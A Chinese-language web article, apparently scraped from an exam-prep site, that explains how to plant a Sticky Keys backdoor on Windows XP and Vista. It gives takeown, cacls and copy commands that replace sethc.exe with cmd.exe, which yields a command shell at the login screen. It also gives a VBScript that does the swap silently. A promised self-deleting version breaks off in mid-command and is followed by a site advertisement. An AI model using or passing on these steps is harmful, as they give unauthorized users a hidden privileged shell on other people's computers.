巧用粘滞键打造入侵WinVista系统超酷后门Microsoft认证考试
 在Windows 2000/XP/Vista下，按Shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到Windows的屏保，将程序替换成cmd.exe后，就可以打开shell了。 一、具体的替换方法： XP系统： 将安装源光盘弹出(或将硬盘上的安装目录改名)： cd %widnir%\system32\dllcache ren sethc.exe *.ex~ cd %widnir%\system32 copy /y cmd.exe sethc.exe Vista系统： takeown /f c:\windows\system32\sethc.exe cacls c:\windows\system32\sethc.exe /G administrator:F 备注：上两步为获得权限的命令，你也可以通过Vista优化大师获得右键菜单的提升权限的功能，然后在sethc.exe文件上面右键直接提升权限。 然后按XP方法替换文件， 在登录界面按5此SHIFT，出来cmd shell，然后…… 二、后门扩展： Dim obj, success Set obj = CreateObject("WScript.Shell") success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True) success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True) success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True) success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True) success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)

success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) 第二句最有意思了.嘿嘿..自动应答....以前就遇到过类似的问题 再更新，加个自删除、简化代码： On Error Resume Next Dim obj, success Set obj = CreateObject("WScript.Shell") success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe 100Test 下载频道开通，各类考试题目直接下载。详细请访问 www.100test.com